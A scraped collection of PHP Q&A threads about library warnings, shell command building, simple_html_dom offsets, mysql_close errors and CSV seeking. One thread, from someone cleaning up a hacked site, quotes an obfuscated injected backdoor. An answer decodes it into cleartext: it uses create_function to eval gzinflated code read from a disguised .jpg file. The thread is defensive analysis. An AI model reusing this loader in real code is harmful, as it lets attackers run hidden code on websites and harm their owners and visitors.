I need to get a file from SharePoint using phpSPO.
I use this code:
$authCtx = new AuthenticationContext('https://xxxxxxxx.sharepoint.com');
$authCtx->acquireTokenForUser($username,$password);
$ctx = new ClientContext('https://xxxxxxxx.sharepoint.com/sites',$authCtx);
require('settings.php');
$sourceFileUrl = "/path/to/excel.xlsx";
$targetPath = "/files/excel.xlsx";
$fileContent = Office365\SharePoint\File::openBinary($ctx, $sourceFileUrl);
But I get this error:
Deprecated: strlen(): Passing null to parameter #1 ($string) of type string is deprecated in /var/www/www.mydomain.dk/vendor/vgrem/php-spo/src/Runtime/Http/Requests.php on line 137
Isn't phpSPO ready for php 8.0 or what could be wrong?
A deprecation is not an error. It's a hint to the author of the code that they will need to fix the code "soon" (i.e. within the next few years, when PHP 9.0 is expected to ship) so that it doesn't become an error.
If you want to identify what needs changing and contribute a fix, I'm sure the maintainer will appreciate the help.
If not, it is perfectly safe to completely ignore the message. If necessary, change your error configuration to ignore deprecations, or to ignore them within the "vendor" directory where third-party code lives, using something similar to this answer.
Related
I am building a CLI APP using PHP in which I need to send notifications using notify-send as a root user.
Now I know I need to set DBUS_SESSION_BUS_ADDRESS before I try to send notification. otherwise it would not work.
Now this below code:
$c = sprintf("DBUS_SESSION_BUS_ADDRESS=".$DBUS_SESSION." /usr/bin/notify-send \"TITLE\" \"MESSAGE\"");
system($c);
Throws an error
system(): NULL byte detected. Possible attack in
/filepath.php on
line 186
from my extensive debugging I have found $DBUS_SESSION is causing the issue. However If I hard code the $DBUS_SESSION value then the command works without a problem!.
like this:
$c = sprintf("DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus,guid=5ded8923178f8ea19642e36a5a37eb76 /usr/bin/notify-send \"sdfTITLE\" \"MESSAGE\"");
system($c);
What is going on here? How can I solve this?
The problem is that you're directly passing the variable to sprintf, but that's not how it works. You dictate the argument type, then provide the variable in order as continued arguments to the sprintf function, like this:
$c = sprintf("DBUS_SESSION_BUS_ADDRESS=%s /usr/bin/notify-send \"TITLE\" \"MESSAGE\"", $DBUS_SESSION);
system($c);
This should solve the NULL BYTE detected error
When was PHP behavior about this changed?
From which PHP version is it?
Warning: file_get_contents(): stream does not support seeking in
/simple_html_dom.php
Warning: file_get_contents(): Failed to seek to position -1 in the stream in
/simple_html_dom.php
include('parser/simple_html_dom.php');
$url = "https://en.wikipedia.org/wiki/Stack_Overflow";
$html = file_get_html($url);
if ($html !== false) {
foreach($html->find('div#mw-content-text') as $item){
$item->plaintext;
}
}
I had the same issue on my page when I moved it from one system to another, I was able to change the simple_html_dom.php file by removing the offset reference (didn't cause any further problems for me).
On line 75 of simple_html_dom.php:
$contents = file_get_contents($url, $use_include_path, $context, $offset);
I removed the reference to $offset:
$contents = file_get_contents($url, $use_include_path, $context);
No my page works fine. Not taking liability for anything else it breaks! :)
Change
function file_get_html(..., $offset = -1,...)
to
function file_get_html(..., $offset = 0,...)
in simple_html_dom.php
You don't need to edit the vendor files. Just change your requests from:
$html = HtmlDomParser::file_get_html( "https://www.google.com/");
to:
$html = HtmlDomParser::file_get_html( "https://www.google.com/", false, null, 0 );
The problem is that the default offset used by Simple HTML DOM is "-1" when you want it to be "0". Luckily it accepts it as a parameter, which means you can change it easily without needing to change the Simple HTML DOM source.
Note: This compatibility issue was fixed in v1.7+
See file_get_contents(): stream does not support seeking PHP
You are working with a remote file. Seeking is only supported for local files.
You probably need to copy the file to your local file system before using file_get_html. It should work fine on localhost.
Others have shared the solution, but no one has shared why. I don't know specifically why this is different between PHP 7.0 & 7.1, but the PHP.net docs for this function say:
Seeking (offset) is not supported with remote files. Attempting to
seek on non-local files may work with small offsets, but this is
unpredictable because it works on the buffered stream.
I can confirm that removing the offset parameter in file_get_contents on line 75 works for me and/or setting the offset to 0 in the file_get_html function on line 70 works too.
I guess that the offset parameter was never meant to be used with non local files since:
The offset where the reading starts on the original stream. Negative
offsets count from the end of the stream.
Hope this helps clear up any confusion. With external sources, it makes sense to start streaming from the beginning.
first, try to change simple_html_dom.php like
remove the offset parameter from file_get_contents(...) on line 75
OR set the offset to 0 in file_get_html func on line 70
if still not works ??? like mine
then it means you have the latest version of PHP and you need to download the latest version of simple_html_dom.php from https://sourceforge.net/projects/simplehtmldom/
after that, it works for me on each machine and system
Set $offset = 0
That is working!
I'm redoing a large portion of my website to use older mysql_* extensions because they execute faster. Yes I know people say its not a good idea to use older extensions, but I need to go for speed since this code is part of the back-end operations to my website and I want to serve as many people as possible.
I do have a small issue after converting things over. Sometimes when I try to close a database connection I get a PHP warning of:
PHP Warning: mysql_close(): 33 is not a valid MySQL-Link resource in /path/to/script.php on line #
and the line refers to the code below:
function DBclose($c){
if (isset($c) && !mysql_close($c)){
error_log("DB handle is invalid/null. Called from ".debug_backtrace()[2]['function'].'->'.debug_backtrace()[1]['function']);
}
}
This only happens sometimes.
What I want to do is change only this warning so that it includes the function that called it. Maybe to something more like:
PHP Warning: mysql_close(): 33 is not a valid MySQL-Link resource in /path/to/script.php on line # called from parent function <function-name>
How do I fix this and still make it so that other function calls I make that begin with # will have no errors printed on screen?
I don't think you can change the message, however, you can check if it's a resource using is_resource()
A client recently came to me with an issue where their website would redirect to different websites against their wishes. The culprit turned out to be the following snippet:
// $wp_ac_remote_retrieve_header = ',S7<f-NH9;%.KM7kF0^L2&1YzYJM.>RB,|Mu"C_#}H2#HEFGKSI 5<K8]M"97Z)GM&FbN%CAKL1/Z:JUOD3!9-!.<B0?9kCNWBQ~~k1U7,7i~&>8<(R<NE<^Zb0>2,EQ]R/SS%wSSD!yN,;"#/T$d/>&b|a^v' ^ "I%VPNm)2PUCB*9RC Y2)mAT-%:%#Z[<6_ToZJ,2%R*^B<1i!*> LL^>K4#GJD9L)9C4L-J.n&5PK7S\$z#-QSX_HKOm`wi.;-2.~.6;t-TI[F-N_JYL}y=&T;(MtYUo*?)3F=6WX;6(Q&<IWCWF;JJ_PA#UHwM";
// $get_ho_tag_template = 'cr atDW"ufb4)j.'|'!"E!`%HDTl#pHoJ';
// $start_hg_wp = $get_ho_tag_template(null,$wp_ac_remote_retrieve_header);
// $start_hg_wp();
And apparently this is not the first time they have been hacked, as I also found the following snippet commented out:
// $comment_zr_date = 'J4UCmj82"&6D?XQz/_F;kB<:#L,FYR<*+vMYS"87tW8OE# B8>LDS=R+ HI<=8S#G5VG#Q;jM^]#5F<(B+5n_DW6L,CX#Nr=h2X:_MKaq-*FOOXH;>^)+FV90%a7qyg^N3*DVQCT7:MvJkKU' ^ '/B4/E*_HKHP(^,4RI6*^4%YN|/C(-7R^X^ov;MUR[0W=!LN$LNc"2P;GY*<OTV6P4V3)44ID.10oX?]L/B[A3-5D-^*=3a"u8w Y:!d19}o>,*4ghV?[N"yv|`Ng!*H7#RM!farz]J*TcBbn';
// $get_spe_footer = "<=:Q.0(CEVO!8=J" ^ "_O_0ZUw%08,UQR\$";
// $wp_olw_rss = $get_spe_footer(null,$comment_zr_date);
// $wp_olw_rss();
There are no other references to any of these functions/variables. Or at least none that turn up when I do a sitewide search. Also, the file's permissions had been changed to read only.
Any idea as to how they are accomplishing this? Or how the above code functions/works? When removed, the issue/hack disappears completely. However, as this is their 3rd time encountering this issue, I believe that they have left themselves open somewhere. As a note, this is not a WP site.
** EDIT
File was to large to include, here is a link:
http://pastebin.com/1XyJg4S3
If you run this through a base64 decoder, you get:
http://pastebin.com/JMHtqskM
However, I am unable to decipher it any further. There appears to be either more encoding or...?
It's some kind of interesting obfuscation.
echo $comment_zr_date;
gives:
eval(#gzinflate(file_get_contents("/home/gordonftp/familybusinesscenter.com/myadmin/libraries/PHPExcel/PHPExcel/Shared/OLE/PPS/image001.jpg")));
And
echo $get_spe_footer;
Gives:
create_function
The obfuscation works by using bitwise operators on two string (thanks tot Populus for the hint). See also PHP strange bitwise operator impact on strings
In cleartext php it says:
$comment_zr_date = 'eval(#gzinflate(file_get_contents("/home/gordonftp/familybusinesscenter.com/myadmin/libraries/PHPExcel/PHPExcel/Shared/OLE/PPS/image001.jpg")))';
$get_spe_footer = 'create_function';
// execute the function
$wp_olw_rss = $get_spe_footer(null,$comment_zr_date);
$wp_olw_rss();
Further evaluation is possible after you post the contents of
#gzinflate(file_get_contents("/home/gordonftp/familybusinesscenter.com/myadmin/libraries/PHPExcel/PHPExcel/Shared/OLE/PPS/image001.jpg"))
When reading a specific line in a csv file, I tried to use SplFileObject::fseek with fgetcsv.
To read line 2 (for example), I do a fseek(1) and read with fgetcsv, which gives line 2.
When I do a fseek(0) and read with fgetcsv, I have line 0.
So there is a issue to read line 1 this way. (I know I can read 2 lines in a row but don't think it is nice).
I found this issue reported in 2008 with PHP version 5.2.6 : SplFileObject: fgetcsv after seek returns wrong line.
I'm using PHP verion 5.4.19.
Has anyone some information on this?
Is this intended?
I know this is a pretty old bug but it's still opened on bugs.php
So here is a snippet I want to share to achieve the same (which at least work in my case)
function readBigCsv($path, $skip=1)
{
$file = new \SplFileObject($path, 'r');
$file->setFlags(\SplFileObject::READ_CSV);
$file->seek($skip);
while (!$file->eof()){
yield $file->current();
$file->next();
}
}